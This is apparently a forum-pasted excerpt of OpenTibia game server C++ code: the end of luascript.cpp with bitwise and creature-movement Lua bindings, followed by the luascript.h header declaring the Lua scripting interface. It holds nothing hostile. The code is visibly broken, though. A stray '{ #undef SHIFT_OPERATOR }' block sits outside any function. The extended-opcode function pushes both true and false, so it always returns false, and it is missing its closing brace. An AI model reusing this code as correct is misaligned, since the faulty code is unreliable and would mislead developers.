getEnv(); DBResult* res = env->getResultByID(rid); CHECK_RESULT() lua_pushboolean(L, env->removeResult(rid)); return 1; } #undef CHECK_RESULT int32_t LuaScriptInterface::luaBitNot(lua_State* L) { int32_t number = (int32_t)popNumber(L); lua_pushnumber(L, ~number); return 1; } int32_t LuaScriptInterface::luaBitUNot(lua_State* L) { uint32_t number = (uint32_t)popNumber(L); lua_pushnumber(L, ~number); return 1; } int32_t LuaScriptInterface::luamoveCreatureTo(lua_State* L) { //moveCreatureTo(cid,pos[,mindist[,maxdist]]) ScriptEnviroment* env = getEnv(); uint32_t mindist = 1, maxdist = 1; if(lua_gettop(L) > 3) maxdist = popNumber(L); if(lua_gettop(L) > 2) mindist = popNumber(L); PositionEx pos; popPosition(L, pos); if(Creature* creature = env->getCreatureByUID(popNumber(L))) { std::list<Direction> listDir; if(!g_game.getPathToEx(creature, pos, listDir, 1, maxdist, true, true)) { lua_pushboolean(L, false); return 1; } creature->startAutoWalk(listDir); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } #define MULTI_OPERATOR(type, name, op)\ int32_t LuaScriptInterface::luaBit##name(lua_State* L)\ {\ int32_t params = lua_gettop(L);\ type value = (type)popNumber(L);\ for(int32_t i = 2; i <= params; ++i)\ value op popNumber(L);\ \ lua_pushnumber(L, value);\ return 1;\ } MULTI_OPERATOR(int32_t, And, &=) MULTI_OPERATOR(int32_t, Or, |=) MULTI_OPERATOR(int32_t, Xor, ^=) MULTI_OPERATOR(uint32_t, UAnd, &=) MULTI_OPERATOR(uint32_t, UOr, |=) MULTI_OPERATOR(uint32_t, UXor, ^=) #undef MULTI_OPERATOR #define SHIFT_OPERATOR(type, name, op)\ int32_t LuaScriptInterface::luaBit##name(lua_State* L)\ {\ type v2 = (type)popNumber(L), v1 = (type)popNumber(L);\ lua_pushnumber(L, (v1 op v2));\ return 1;\ } SHIFT_OPERATOR(int32_t, LeftShift, <<) SHIFT_OPERATOR(int32_t, RightShift, >>) SHIFT_OPERATOR(uint32_t, ULeftShift, <<) SHIFT_OPERATOR(uint32_t, URightShift, >>) { #undef SHIFT_OPERATOR } int32_t LuaScriptInterface::luaDoSendPlayerExtendedOpcode(lua_State* L) { //doSendPlayerExtendedOpcode(cid, opcode, buffer) std::string buffer = popString(L); int opcode = popNumber(L); ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) { player->sendExtendedOpcode(opcode, buffer); lua_pushboolean(L, true); } lua_pushboolean(L, false); return 1; luascript.h Citar //////////////////////////////////////////////////////////////////////// // OpenTibia - an opensource roleplaying game //////////////////////////////////////////////////////////////////////// // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. //////////////////////////////////////////////////////////////////////// #ifndef __LUASCRIPT__ #define __LUASCRIPT__ #include "otsystem.h" extern "C" { #include "lua.h" #include "lualib.h" #include "lauxlib.h" } #include "database.h" #include "position.h" enum LuaVariantType_t { VARIANT_NONE = 0, VARIANT_NUMBER, VARIANT_POSITION, VARIANT_TARGETPOSITION, VARIANT_STRING }; struct LuaVariant { LuaVariant() { type = VARIANT_NONE; text = ""; pos = PositionEx(); number = 0; } LuaVariantType_t type; std::string text; PositionEx pos; uint32_t number; }; class Game; class Thing; class LuaScriptInterface; class Creature; class Player; class Npc; class Item; class Container; class Combat; class CombatArea; class Condition; struct Outfit_t; class ScriptEnviroment { public: ScriptEnviroment(); virtual ~ScriptEnviroment(); static bool saveGameState(); static bool loadGameState(); bool getStorage(const uint32_t key, std::string& value) const; void setStorage(const uint32_t key, const std::string& value) {m_storageMap[key] = value;} void eraseStorage(const uint32_t key) {m_storageMap.erase(key);} int32_t getScriptId() {return m_scriptId;} void setScriptId(int32_t scriptId, LuaScriptInterface* interface) {m_scriptId = scriptId; m_interface = interface;} int32_t getCallbackId() {return m_callbackId;} bool setCallbackId(int32_t callbackId, LuaScriptInterface* interface); std::string getEventDesc() {return m_eventdesc;} void setEventDesc(const std::string& desc) {m_eventdesc = desc;} Position getRealPos() {return m_realPos;} void setRealPos(const Position& realPos) {m_realPos = realPos;} Npc* getNpc() const {return m_curNpc;} void setNpc(Npc* npc) {m_curNpc = npc;} static uint32_t addCombatArea(CombatArea* area); static CombatArea* getCombatArea(uint32_t areaId); static uint32_t addCombatObject(Combat* combat); static Combat* getCombatObject(uint32_t combatId); static uint32_t addConditionObject(Condition* condition); static Condition* getConditionObject(uint32_t conditionId); Thing* getThingByUID(uint32_t uid); Item* getItemByUID(uint32_t uid); Container* getContainerByUID(uint32_t uid); Creature* getCreatureByUID(uint32_t uid); Player* getPlayerByUID(uint32_t uid); uint32_t addThing(Thing* thing); void insertThing(uint32_t uid, Thing* thing); void removeThing(uint32_t uid); static void addTempItem(ScriptEnviroment* env, Item* item); static void removeTempItem(ScriptEnviroment* env, Item* item); static void removeTempItem(Item* item); DBResult* getResultByID(uint32_t id); uint32_t addResult(DBResult* res); bool removeResult(uint32_t id); static void addUniqueThing(Thing* thing); static void removeUniqueThing(Thing* thing); static uint32_t getLastConditionId() {return m_lastConditionId;} static uint32_t getLastCombatId() {return m_lastCombatId;} static uint32_t getLastAreaId() {return m_lastAreaId;} void setTimerEvent() {m_timerEvent = true;} void resetTimerEvent() {m_timerEvent = false;} LuaScriptInterface* getInterface() {return m_interface;} void getInfo(int32_t& scriptId, std::string& desc, LuaScriptInterface*& interface, int32_t& callbackId, bool& timerEvent); void reset(); void resetCallback() {m_callbackId = 0;} void streamVariant(std::stringstream& stream, const std::string& local, const LuaVariant& var); void streamThing(std::stringstream& stream, const std::string& local, Thing* thing, uint32_t id = 0); void streamPosition(std::stringstream& stream, const std::string& local, const PositionEx& position) {streamPosition(stream, local, position, position.stackpos);} void streamPosition(std::stringstream& stream, const std::string& local, const Position& position, uint32_t stackpos); void streamOutfit(std::stringstream& stream, const std::string& local, const Outfit_t& outfit); private: typedef std::map<uint64_t, Thing*> ThingMap; typedef std::vector<const LuaVariant*> VariantVector; typedef std::map<uint32_t, std::string> StorageMap; typedef std::map<uint32_t, CombatArea*> AreaMap; typedef std::map<uint32_t, Combat*> CombatMap; typedef std::map<uint32_t, Condition*> ConditionMap; typedef std::list<Item*> ItemList; typedef std::map<ScriptEnviroment*, ItemList> TempItemListMap; typedef std::map<uint32_t, DBResult*> DBResultMap; LuaScriptInterface* m_interface; int32_t m_scriptId, m_callbackId; std::string m_eventdesc; bool m_timerEvent; ThingMap m_localMap; DBResultMap m_tempResults; static TempItemListMap m_tempItems; static StorageMap m_storageMap; static ThingMap m_globalMap; static uint32_t m_lastAreaId; static AreaMap m_areaMap; static uint32_t m_lastCombatId; static CombatMap m_combatMap; static uint32_t m_lastConditionId; static ConditionMap m_conditionMap; int32_t m_lastUID; bool m_loaded; Position m_realPos; Npc* m_curNpc; }; enum ErrorCode_t { LUA_ERROR_PLAYER_NOT_FOUND, LUA_ERROR_MONSTER_NOT_FOUND, LUA_ERROR_NPC_NOT_FOUND, LUA_ERROR_CREATURE_NOT_FOUND, LUA_ERROR_ITEM_NOT_FOUND, LUA_ERROR_THING_NOT_FOUND, LUA_ERROR_TILE_NOT_FOUND, LUA_ERROR_HOUSE_NOT_FOUND, LUA_ERROR_COMBAT_NOT_FOUND, LUA_ERROR_CONDITION_NOT_FOUND, LUA_ERROR_AREA_NOT_FOUND, LUA_ERROR_CONTAINER_NOT_FOUND, LUA_ERROR_VARIANT_NOT_FOUND, LUA_ERROR_VARIANT_UNKNOWN, LUA_ERROR_SPELL_NOT_FOUND }; #define errorEx(a) error(__FUNCTION__, a) class LuaScriptInterface { public: LuaScriptInterface(std::string interfaceName); virtual ~LuaScriptInterface(); virtual bool initState(); bool reInitState(); static bool reserveEnv() { ++m_scriptEnvIndex; if(m_scriptEnvIndex > 20) { --m_scriptEnvIndex; return false; } return true; } static void releaseEnv() { if(m_scriptEnvIndex >= 0) { m_scriptEnv[m_scriptEnvIndex].reset(); --m_scriptEnvIndex; } } bool loadBuffer(const std::string& text, Npc* npc = NULL); bool loadFile(const std::string& file, Npc* npc = NULL); bool loadDirectory(const std::string& dir, Npc* npc = NULL); std::string getName() {return m_interfaceName;} std::string getScript(int32_t scriptId); std::string getLastError() const {return m_lastError;} int32_t getEvent(const std::string& eventName); lua_State* getState() {return m_luaState;} static ScriptEnviroment* getEnv() { assert(m_scriptEnvIndex >= 0 && m_scriptEnvIndex < 21); return &m_scriptEnv[m_scriptEnvIndex]; } bool pushFunction(int32_t functionId); bool callFunction(uint32_t params); static int32_t handleFunction(lua_State* L); void dumpStack(lua_State* L = NULL); //push/pop common structures static void pushThing(lua_State* L, Thing* thing, uint32_t id = 0); static void pushVariant(lua_State* L, const LuaVariant& var); static void pushPosition(lua_State* L, const PositionEx& position) {pushPosition(L, position, position.stackpos);} static void pushPosition(lua_State* L, const Position& position, uint32_t stackpos); static void pushOutfit(lua_State* L, const Outfit_t& outfit); static void pushCallback(lua_State* L, int32_t callback); static LuaVariant popVariant(lua_State* L); static void popPosition(lua_State* L, PositionEx& position); static void popPosition(lua_State* L, Position& position, uint32_t& stackpos); static bool popBoolean(lua_State* L); static int64_t popNumber(lua_State* L); static double popFloatNumber(lua_State* L); static std::string popString(lua_State* L); static int32_t popCallback(lua_State* L); static Outfit_t popOutfit(lua_State* L); static int64_t getField(lua_State* L, const char* key); static uint64_t getFieldUnsigned(lua_State* L, const char* key); static std::string getFieldString(lua_State* L, const char* key); static bool getFieldBool(lua_State* L, const char* key); static void setField(lua_State* L, const char* index, int32_t val); static void setField(lua_State* L, const char* index, const std::string& val); static void setFieldBool(lua_State* L, const char* index, bool val); static void setFieldFloat(lua_State* L, const char* index, double val); static void createTable(lua_State* L, const char* index); static void createTable(lua_State* L, const char* index, int32_t narr, int32_t nrec); static void createTable(lua_State* L, int32_t index); static void createTable(lua_State* L, int32_t index, int32_t narr, int32_t nrec); static void pushTable(lua_State* L); static std::string getGlobalString(lua_State* L, const std::string& _identifier, const std::string& _default = ""); static bool getGlobalBool(lua_State* L, const std::string& _identifier, bool _default = false); static int32_t getGlobalNumber(lua_State* L, const std::string& _identifier, const int32_t _default = 0); static double getGlobalDouble(lua_State* L, const std::string& _identifier, const double _default = 0); static void getValue(const std::string& key, lua_State* L, lua_State* _L); static void moveValue(lua_State* from, lua_State* to); static void error(const char* function, const std::string& desc); protected: virtual bool closeState(); static std::string getError(ErrorCode_t code); static bool getArea(lua_State* L, std::list<uint32_t>& list, uint32_t& rows); virtual void registerFunctions(); //lua functions static int32_t luaDoRemoveItem(lua_State* L); static int32_t luaDoCreatureSetNick(lua_State* L); static int32_t luaDoFeedPlayer(lua_State* L); static int32_t luaDoPlayerSendCancel(lua_State* L); static int32_t luaDoSendDefaultCancel(lua_State* L); static int32_t luaGetSearchString(lua_State* L); static int32_t luaGetClosestFreeTile(lua_State* L); static int32_t luaDoTeleportThing(lua_State* L); static int32_t luaDoTransformItem(lua_State* L); static int32_t luaDoSendMagicEffect(lua_State* L); static int32_t luaDoSendAnimatedText(lua_State* L); static int32_t luaDoSendDistanceShoot(lua_State* L); static int32_t luaDoShowTextWindow(lua_State* L); static int32_t luaDoShowTextDialog(lua_State* L); static int32_t luaDoDecayItem(lua_State* L); static int32_t luaDoCreateItem(lua_State* L); static int32_t luaDoCreateItemEx(lua_State* L); static int32_t luaDoCreateTeleport(lua_State* L); static int32_t luaDoCreateMonster(lua_State* L); static int32_t luaDoCreateNpc(lua_State* L); static int32_t luaDoSummonMonster(lua_State* L); static int32_t luaDoConvinceCreature(lua_State* L); static int32_t luaGetMonsterTargetList(lua_State* L); static int32_t luaGetMonsterFriendList(lua_State* L); static int32_t luaDoMonsterSetTarget(lua_State* L); static int32_t luaDoMonsterChangeTarget(lua_State* L); static int32_t luaDoAddCondition(lua_State* L); static int32_t luaDoRemoveCondition(lua_State* L); static int32_t luaDoRemoveConditions(lua_State* L); static int32_t luaDoRemoveCreature(lua_State* L); static int32_t luaDoMoveCreature(lua_State* L); static int32_t luaDoCreatureSay(lua_State* L); static int32_t luaDoPlayerAddSkillTry(lua_State* L); static int32_t luaDoCreatureAddHealth(lua_State* L); static int32_t luaDoCreatureAddMana(lua_State* L); static int32_t luaSetCreatureMaxHealth(lua_State* L); static int32_t luaSetCreatureMaxMana(lua_State* L); static int32_t luaDoPlayerSetMaxCapacity(lua_State* L); static int32_t luaDoPlayerAddSpentMana(lua_State* L); static int32_t luaDoPlayerAddItem(lua_State* L); static int32_t luaDoPlayerAddItemEx(lua_State* L); static int32_t luaDoTileAddItemEx(lua_State* L); static int32_t luaDoAddContainerItemEx(lua_State* L); static int32_t luaDoRelocate(lua_State* L); static int32_t luaDoCleanTile(lua_State* L); static int32_t luaDoPlayerSendTextMessage(lua_State* L); static int32_t luaDoPlayerSendChannelMessage(lua_State* L); static int32_t luaDoPlayerSendToChannel(lua_State* L); static int32_t luaDoPlayerAddMoney(lua_State* L); static int32_t luaDoPlayerRemoveMoney(lua_State* L); static int32_t luaDoPlayerTransferMoneyTo(lua_State* L); static int32_t luaDoPlayerSetPzLocked(lua_State* L); static int32_t luaDoPlayerSetTown(lua_State* L); static int32_t luaDoPlayerSetVocation(lua_State* L); static int32_t luaDoPlayerRemoveItem(lua_State* L); static int32_t luaDoPlayerAddSoul(lua_State* L); static int32_t luaDoPlayerAddStamina(lua_State* L); static int32_t luaDoPlayerSetStamina(lua_State* L); static int32_t luaDoPlayerAddExperience(lua_State* L); static int32_t luaDoPlayerSetGuildId(lua_State* L); static int32_t luaDoPlayerSetGuildLevel(lua_State* L); static int32_t luaDoPlayerSetGuildNick(lua_State* L); static int32_t luaDoPlayerSetSex(lua_State* L); static int32_t luaDoPlayerSetIdleTime(lua_State* L); static int32_t luaGetPlayerIdleTime(lua_State* L); static int32_t luaDoSetCreatureLight(lua_State* L); static int32_t luaDoCreatureSetLookDir(lua_State* L); static int32_t luaGetCreatureHideHealth(lua_State* L); static int32_t luaDoCreatureSetHideHealth(lua_State* L); static int32_t luaGetCreatureSpeakType(lua_State* L); static int32_t luaDoCreatureSetSpeakType(lua_State* L); static int32_t luaGetCreatureSkullType(lua_State* L); static int32_t luaDoCreatureSetSkullType(lua_State* L); static int32_t luaGetPlayerSkullEnd(lua_State* L); static int32_t luaDoPlayerSetSkullEnd(lua_State* L); static int32_t luaDoPlayerSwitchSaving(lua_State* L); static int32_t luaDoPlayerSave(lua_State* L); static int32_t luaDoPlayerSendOutfitWindow(lua_State* L); static int32_t luaDoCreatureExecuteTalkAction(lua_State* L); static int32_t luaGetCreatureByName(lua_State* L); static int32_t luaGetPlayerByGUID(lua_State* L); static int32_t luamoveCreatureTo(lua_State* L); static int32_t luaGetPlayerByNameWildcard(lua_State* L); static int32_t luaGetPlayerGUIDByName(lua_State* L); static int32_t luaGetPlayerNameByGUID(lua_State* L); static int32_t luaGetPlayersByAccountId(lua_State* L); static int32_t luaGetAccountIdByName(lua_State* L); static int32_t luaGetAccountByName(lua_State* L); static int32_t luaGetAccountIdByAccount(lua_State* L); static int32_t luaGetAccountByAccountId(lua_State* L); static int32_t luaGetIpByName(lua_State* L); static int32_t luaGetPlayersByIp(lua_State* L); static int32_t luaIsIpBanished(lua_State* L); static int32_t luaIsPlayerBanished(lua_State* L); static int32_t luaIsAccountBanished(lua_State* L); static int32_t luaDoAddIpBanishment(lua_State* L); static int32_t luaDoAddPlayerBanishment(lua_State* L); static int32_t luaDoAddAccountBanishment(lua_State* L); static int32_t luaDoAddNotation(lua_State* L); static int32_t luaDoAddStatement(lua_State* L); static int32_t luaDoRemoveIpBanishment(lua_State* L); static int32_t luaDoRemovePlayerBanishment(lua_State* L); static int32_t luaDoRemoveAccountBanishment(lua_State* L); static int32_t luaDoRemoveNotations(lua_State* L); static int32_t luaDoRemoveStatements(lua_State* L); static int32_t luaGetNotationsCount(lua_State* L); static int32_t luaGetStatementsCount(lua_State* L); static int32_t luaGetBanData(lua_State* L); static int32_t luaGetBanReason(lua_State* L); static int32_t luaGetBanAction(lua_State* L); static int32_t luaGetBanList(lua_State* L); static int32_t luaGetPlayerRates(lua_State* L); static int32_t luaDoPlayerSetRate(lua_State* L); static int32_t luaDoCreatureSetDropLoot(lua_State* L); static int32_t luaGetPlayerLossPercent(lua_State* L); static int32_t luaDoPlayerSetLossPercent(lua_State* L); static int32_t luaDoPlayerSetLossSkill(lua_State* L); static int32_t luaGetPlayerLossSkill(lua_State* L); static int32_t luaGetThing(lua_State* L); static int32_t luaGetThingPosition(lua_State* L); static int32_t luaDoItemRaidUnref(lua_State* L); static int32_t luaHasItemProperty(lua_State* L); static int32_t luaGetThingFromPos(lua_State* L); static int32_t luaGetTileItemById(lua_State* L); static int32_t luaGetTileItemByType(lua_State* L); static int32_t luaGetTileThingByPos(lua_State* L); static int32_t luaGetTopCreature(lua_State* L); static int32_t luaGetTileInfo(lua_State* L); static int32_t luaDoTileQueryAdd(lua_State* L); static int32_t luaGetHouseInfo(lua_State* L); static int32_t luaGetHouseAccessList(lua_State* L); static int32_t luaGetHouseByPlayerGUID(lua_State* L); static int32_t luaGetHouseFromPos(lua_State* L); static int32_t luaSetHouseOwner(lua_State* L); static int32_t luaSetHouseAccessList(lua_State* L); static int32_t luaDoPlayerSetNameDescription(lua_State* L); static int32_t luaGetPlayerNameDescription(lua_State* L); static int32_t luaDoPlayerSetSpecialDescription(lua_State* L); static int32_t luaGetPlayerSpecialDescription(lua_State* L); static int32_t luaGetPlayerFood(lua_State* L); static int32_t luaGetPlayerAccess(lua_State* L); static int32_t luaGetPlayerGhostAccess(lua_State* L); static int32_t luaGetPlayerLevel(lua_State* L); static int32_t luaGetPlayerExperience(lua_State* L); static int32_t luaGetPlayerMagLevel(lua_State* L); static int32_t luaGetPlayerSpentMana(lua_State* L); static int32_t luaGetCreatureMana(lua_State* L); static int32_t luaGetCreatureMaxMana(lua_State* L); static int32_t luaGetCreatureHealth(lua_State* L); static int32_t luaOpenChannelDialog(lua_State* L); static int32_t luaGetCreatureMaxHealth(lua_State* L); static int32_t luaGetCreatureSpeed(lua_State* L); static int32_t luaGetCreatureBaseSpeed(lua_State* L); static int32_t luaGetCreatureTarget(lua_State* L); static int32_t luaGetCreatureLookDirection(lua_State* L); static int32_t luaGetPlayerSkillLevel(lua_State* L); static int32_t luaGetPlayerSkillTries(lua_State* L); static int32_t luaGetPlayerVocation(lua_State* L); static int32_t luaGetPlayerTown(lua_State* L); static int32_t luaGetPlayerItemCount(lua_State* L); static int32_t luaGetPlayerMoney(lua_State* L); static int32_t luaGetPlayerSoul(lua_State* L); static int32_t luaGetPlayerStamina(lua_State* L); static int32_t luaGetPlayerFreeCap(lua_State* L); static int32_t luaGetPlayerLight(lua_State* L); static int32_t luaGetPlayerSlotItem(lua_State* L); static int32_t luaGetPlayerWeapon(lua_State* L); static int32_t luaGetPlayerItemById(lua_State* L); static int32_t luaGetPlayerRequiredMana(lua_State* L); static int32_t luaGetPlayerRequiredSkillTries(lua_State* L); static int32_t luaGetPlayerIp(lua_State* L); static int32_t luaGetPlayerLastLoad(lua_State* L); static int32_t luaGetPlayerLastLogin(lua_State* L); static int32_t luaGetPlayerAccountManager(lua_State* L); static int32_t luaGetPlayerAccountId(lua_State* L); static int32_t luaGetPlayerAccount(lua_State* L); static int32_t luaGetPlayerDepotItems(lua_State* L); static int32_t luaGetPlayerGuildId(lua_State* L); static int32_t luaGetPlayerGuildName(lua_State* L); static int32_t luaGetPlayerGuildRank(lua_State* L); static int32_t luaGetPlayerGuildRankId(lua_State* L); static int32_t luaGetPlayerGuildLevel(lua_State* L); static int32_t luaGetPlayerGuildNick(lua_State* L); static int32_t luaGetPlayerSex(lua_State* L); static int32_t luaGetPlayerGUID(lua_State* L); static int32_t luaGetPlayerFlagValue(lua_State* L); static int32_t luaGetPlayerCustomFlagValue(lua_State* L); static int32_t luaGetCreatureCondition(lua_State* L); static int32_t luaHasPlayerClient(lua_State* L); static int32_t luaGetDepotId(lua_State* L); static int32_t luaGetVocationInfo(lua_State* L); static int32_t luaGetGroupInfo(lua_State* L); static int32_t luaGetMonsterInfo(lua_State* L); static int32_t luaGetPlayerPromotionLevel(lua_State* L); static int32_t luaDoPlayerSetPromotionLevel(lua_State* L); static int32_t luaGetPlayerGroupId(lua_State* L); static int32_t luaDoPlayerSetGroupId(lua_State* L); static int32_t luaDoPlayerLearnInstantSpell(lua_State* L); static int32_t luaDoPlayerUnlearnInstantSpell(lua_State* L); static int32_t luaGetPlayerLearnedInstantSpell(lua_State* L); static int32_t luaGetPlayerInstantSpellCount(lua_State* L); static int32_t luaGetPlayerInstantSpellInfo(lua_State* L); static int32_t luaGetInstantSpellInfo(lua_State* L); static int32_t luaGetPlayerPartner(lua_State* L); static int32_t luaDoPlayerSetPartner(lua_State* L); static int32_t luaGetPlayerParty(lua_State* L); static int32_t luaDoPlayerJoinParty(lua_State* L); static int32_t luaGetPartyMembers(lua_State* L); static int32_t luaGetCreatureStorage(lua_State* L); static int32_t luaDoCreatureSetStorage(lua_State* L); static int32_t luaDoPlayerAddBlessing(lua_State* L); static int32_t luaGetPlayerBlessing(lua_State* L); static int32_t luaGetStorage(lua_State* L); static int32_t luaDoSetStorage(lua_State* L); static int32_t luaDoPlayerAddOutfit(lua_State* L); static int32_t luaDoPlayerRemoveOutfit(lua_State* L); static int32_t luaDoPlayerAddOutfitId(lua_State* L); static int32_t luaDoPlayerRemoveOutfitId(lua_State* L); static int32_t luaCanPlayerWearOutfit(lua_State* L); static int32_t luaCanPlayerWearOutfitId(lua_State* L); static int32_t luaGetWorldType(lua_State* L); static int32_t luaSetWorldType(lua_State* L); static int32_t luaGetWorldTime(lua_State* L); static int32_t luaGetWorldLight(lua_State* L); static int32_t luaGetWorldCreatures(lua_State* L); static int32_t luaGetWorldUpTime(lua_State* L); static int32_t luaGetGuildId(lua_State* L); static int32_t luaGetGuildMotd(lua_State* L); static int32_t luaIsPlayerPzLocked(lua_State* L); static int32_t luaIsPlayerSaving(lua_State* L); static int32_t luaIsCreature(lua_State* L); static int32_t luaIsContainer(lua_State* L); static int32_t luaIsMovable(lua_State* L); static int32_t luaGetContainerSize(lua_State* L); static int32_t luaGetContainerCap(lua_State* L); static int32_t luaGetContainerItem(lua_State* L); static int32_t luaDoAddContainerItem(lua_State* L); static int32_t luaCreateCombatObject(lua_State* L); static int32_t luaCreateCombatArea(lua_State* L); static int32_t luaSetCombatArea(lua_State* L); static int32_t luaSetCombatCondition(lua_State* L); static int32_t luaSetCombatParam(lua_State* L); static int32_t luaCreateConditionObject(lua_State* L); static int32_t luaSetConditionParam(lua_State* L); static int32_t luaAddDamageCondition(lua_State* L); static int32_t luaAddOutfitCondition(lua_State* L); static int32_t luaSetCombatCallBack(lua_State* L); static int32_t luaSetCombatFormula(lua_State* L); static int32_t luaSetConditionFormula(lua_State* L); static int32_t luaDoCombat(lua_State* L); static int32_t luaDoCombatAreaHealth(lua_State* L); static int32_t luaDoTargetCombatHealth(lua_State* L); static int32_t luaDoCombatAreaMana(lua_State* L); static int32_t luaDoTargetCombatMana(lua_State* L); static int32_t luaDoCombatAreaCondition(lua_State* L); static int32_t luaDoTargetCombatCondition(lua_State* L); static int32_t luaDoCombatAreaDispel(lua_State* L); static int32_t luaDoTargetCombatDispel(lua_State* L); static int32_t luaDoChallengeCreature(lua_State* L); static int32_t luaNumberToVariant(lua_State* L); static int32_t luaStringToVariant(lua_State* L); static int32_t luaPositionToVariant(lua_State* L); static int32_t luaTargetPositionToVariant(lua_State* L); static int32_t luaVariantToNumber(lua_State* L); static int32_t luaVariantToString(lua_State* L); static int32_t luaVariantToPosition(lua_State* L); static int32_t luaDoChangeSpeed(lua_State* L); static int32_t luaGetExperienceStage(lua_State* L); static int32_t luaDoCreatureChangeOutfit(lua_State* L); static int32_t luaSetCreatureOutfit(lua_State* L); static int32_t luaGetCreatureOutfit(lua_State* L); static int32_t luaSetMonsterOutfit(lua_State* L); static int32_t luaSetItemOutfit(lua_State* L); static int32_t luaGetCreatureLastPosition(lua_State* L); static int32_t luaGetCreatureName(lua_State* L); static int32_t luaGetCreatureMaster(lua_State* L); static int32_t luaGetCreatureSummons(lua_State* L); static int32_t luaGetHighscoreString(lua_State* L); static int32_t luaIsSightClear(lua_State* L); static int32_t luaIsInArray(lua_State* L); static int32_t luaAddEvent(lua_State* L); static int32_t luaStopEvent(lua_State* L); static int32_t luaRegisterCreatureEvent(lua_State* L); static int32_t luaGetPlayerBalance(lua_State* L); static int32_t luaDoPlayerSetBalance(lua_State* L); static int32_t luaDoPlayerPopupFYI(lua_State* L); static int32_t luaDoPlayerSendTutorial(lua_State* L); static int32_t luaDoPlayerSendMailByName(lua_State* L); static int32_t luaDoPlayerAddMapMark(lua_State* L); static int32_t luaGetPlayerPremiumDays(lua_State* L); static int32_t luaDoPlayerAddPremiumDays(lua_State* L); static int32_t luaGetCreatureNoMove(lua_State* L); static int32_t luaDoCreatureSetNoMove(lua_State* L); static int32_t luaGetTownId(lua_State* L); static int32_t luaGetTownName(lua_State* L); static int32_t luaGetTownTemplePosition(lua_State* L); static int32_t luaGetTownHouses(lua_State* L); static int32_t luaGetSpectators(lua_State* L); static int32_t luaGetGameState(lua_State* L); static int32_t luaDoSetGameState(lua_State* L); static int32_t luaGetChannelUsers(lua_State* L); static int32_t luaDoPlayerOpenChannel(lua_State* L); static int32_t luaGetPlayersOnline(lua_State* L); static int32_t luaDoExecuteRaid(lua_State* L); static int32_t luaDoReloadInfo(lua_State* L); static int32_t luaDoSaveServer(lua_State* L); static int32_t luaDoCleanHouse(lua_State* L); static int32_t luaDoCleanMap(lua_State* L); static int32_t luaDoRefreshMap(lua_State* L); static int32_t luaDoUpdateHouseAuctions(lua_State* L); static int32_t luaGetItemIdByName(lua_State* L); static int32_t luaGetItemInfo(lua_State* L); static int32_t luaGetItemWeight(lua_State* L); static int32_t luaGetItemAttribute(lua_State* L); static int32_t luaDoItemSetAttribute(lua_State* L); static int32_t luaDoItemEraseAttribute(lua_State* L); static int32_t luaGetTalkActionList(lua_State* L); static int32_t luaGetExperienceStageList(lua_State* L); static int32_t luaGetWaypointList(lua_State* L); static int32_t luaGetWaypointPosition(lua_State* L); static int32_t luaDoWaypointAddTemporial(lua_State* L); static int32_t luaGetDataDir(lua_State* L); static int32_t luaGetLogsDir(lua_State* L); static int32_t luaGetConfigFile(lua_State* L); static int32_t luaGetConfigValue(lua_State* L); static int32_t luaGetModList(lua_State* L); static int32_t luaDoSendPlayerExtendedOpcode(lua_State* L); static int32_t luaL_loadmodlib(lua_State* L); static int32_t luaL_domodlib(lua_State* L); static int32_t luaL_dodirectory(lua_State* L); static const luaL_Reg luaDatabaseTable[8]; static int32_t luaDatabaseExecute(lua_State* L); static int32_t luaDatabaseStoreQuery(lua_State* L); static int32_t luaDatabaseEscapeString(lua_State* L); static int32_t luaDatabaseEscapeBlob(lua_State* L); static int32_t luaDatabaseLastInsertId(lua_State* L); static int32_t luaDatabaseStringComparison(lua_State* L); static int32_t luaDatabaseUpdateLimiter(lua_State* L); static const luaL_Reg luaResultTable[7]; static int32_t luaResultGetDataInt(lua_State* L); static int32_t luaResultGetDataLong(lua_State* L); static int32_t luaResultGetDataString(lua_State* L); static int32_t luaResultGetDataStream(lua_State* L); static int32_t luaResultNext(lua_State* L); static int32_t luaResultFree(lua_State* L); static const luaL_Reg luaBitTable[13]; static int32_t luaBitNot(lua_State* L); static int32_t luaBitAnd(lua_State* L); static int32_t luaBitOr(lua_State* L); static int32_t luaBitXor(lua_State* L); static int32_t luaBitLeftShift(lua_State* L); static int32_t luaBitRightShift(lua_State* L); static int32_t luaBitUNot(lua_State* L); static int32_t luaBitUAnd(lua_State* L); static int32_t luaBitUOr(lua_State* L); static int32_t luaBitUXor(lua_State* L); static int32_t luaBitULeftShift(lua_State* L); static int32_t luaBitURightShift(lua_State* L); static const luaL_Reg luaStdTable[6]; static int32_t luaStdCout(lua_State* L); static int32_t luaStdCerr(lua_State* L); static int32_t luaStdClog(lua_State* L); static int32_t luaStdMD5(lua_State* L); static int32_t luaStdSHA1(lua_State* L); lua_State* m_luaState; std::string m_lastError; private: void executeTimer(uint32_t eventIndex); enum PlayerInfo_t { PlayerInfoFood, PlayerInfoAccess, PlayerInfoGhostAccess, PlayerInfoLevel, PlayerInfoExperience, PlayerInfoManaSpent, PlayerInfoVocation, PlayerInfoTown, PlayerInfoPromotionLevel, PlayerInfoSoul, PlayerInfoFreeCap, PlayerInfoGuildId, PlayerInfoGuildName, PlayerInfoGuildRankId, PlayerInfoGuildRank, PlayerInfoGuildLevel, PlayerInfoGuildNick, PlayerInfoGroupId, PlayerInfoGUID, PlayerInfoAccountId, PlayerInfoAccount, PlayerInfoPremiumDays, PlayerInfoBalance, PlayerInfoStamina, PlayerInfoLossSkill, PlayerInfoMarriage, PlayerInfoPzLock, PlayerInfoSaving, PlayerInfoIp, PlayerInfoSkullEnd, PlayerInfoOutfitWindow, PlayerInfoNameDescription, PlayerInfoSpecialDescription, PlayerInfoIdleTime, PlayerInfoClient, PlayerInfoLastLoad, PlayerInfoLastLogin, PlayerInfoAccountManager }; static int32_t internalGetPlayerInfo(lua_State* L, PlayerInfo_t info); int32_t m_runningEventId; uint32_t m_lastEventTimerId; std::string m_loadingFile, m_interfaceName; static ScriptEnviroment m_scriptEnv[21]; static int32_t m_scriptEnvIndex; //events information 